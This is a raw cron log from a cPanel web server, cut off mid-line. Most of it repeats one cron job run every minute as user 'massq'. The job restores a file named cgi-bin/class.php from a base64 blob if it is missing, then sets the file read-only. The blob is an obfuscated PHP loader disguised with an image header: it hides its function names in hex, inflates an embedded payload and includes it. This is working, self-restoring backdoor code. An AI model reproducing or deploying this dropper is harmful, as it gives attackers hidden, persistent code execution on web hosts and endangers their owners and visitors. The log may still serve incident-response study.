Sep 12 14:30:01 server CROND[16403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:30:01 server CROND[16405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:30:01 server CROND[16408]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:30:01 server CROND[16406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:30:01 server CROND[16409]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:30:01 server CROND[16407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:31:01 server CROND[17224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:31:01 server CROND[17226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:31:01 server CROND[17225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:32:01 server CROND[17689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:32:01 server CROND[17690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:32:01 server CROND[17691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:33:01 server CROND[18072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:33:01 server CROND[18073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:33:01 server CROND[18074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:34:01 server CROND[18445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:34:01 server CROND[18447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:34:01 server CROND[18446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:35:01 server CROND[18823]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:35:01 server CROND[18825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:35:01 server CROND[18829]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 14:35:01 server CROND[18832]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:35:01 server CROND[18833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:35:01 server CROND[18827]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:35:01 server CROND[18828]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 14:35:01 server CROND[18830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:35:01 server CROND[18831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:36:01 server CROND[19645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:36:01 server CROND[19647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:36:01 server CROND[19646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:37:01 server CROND[20223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:37:01 server CROND[20224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:37:01 server CROND[20225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:38:01 server CROND[20616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:38:01 server CROND[20617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:38:01 server CROND[20618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:39:01 server CROND[20982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:39:01 server CROND[20983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:39:01 server CROND[20984]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 14:39:01 server CROND[20985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:40:01 server CROND[21363]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:40:01 server CROND[21364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:40:01 server CROND[21368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:40:01 server CROND[21367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:40:01 server CROND[21366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:40:01 server CROND[21369]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:40:01 server CROND[21365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:40:01 server CROND[21371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:41:01 server CROND[22203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:41:01 server CROND[22202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:41:01 server CROND[22204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | 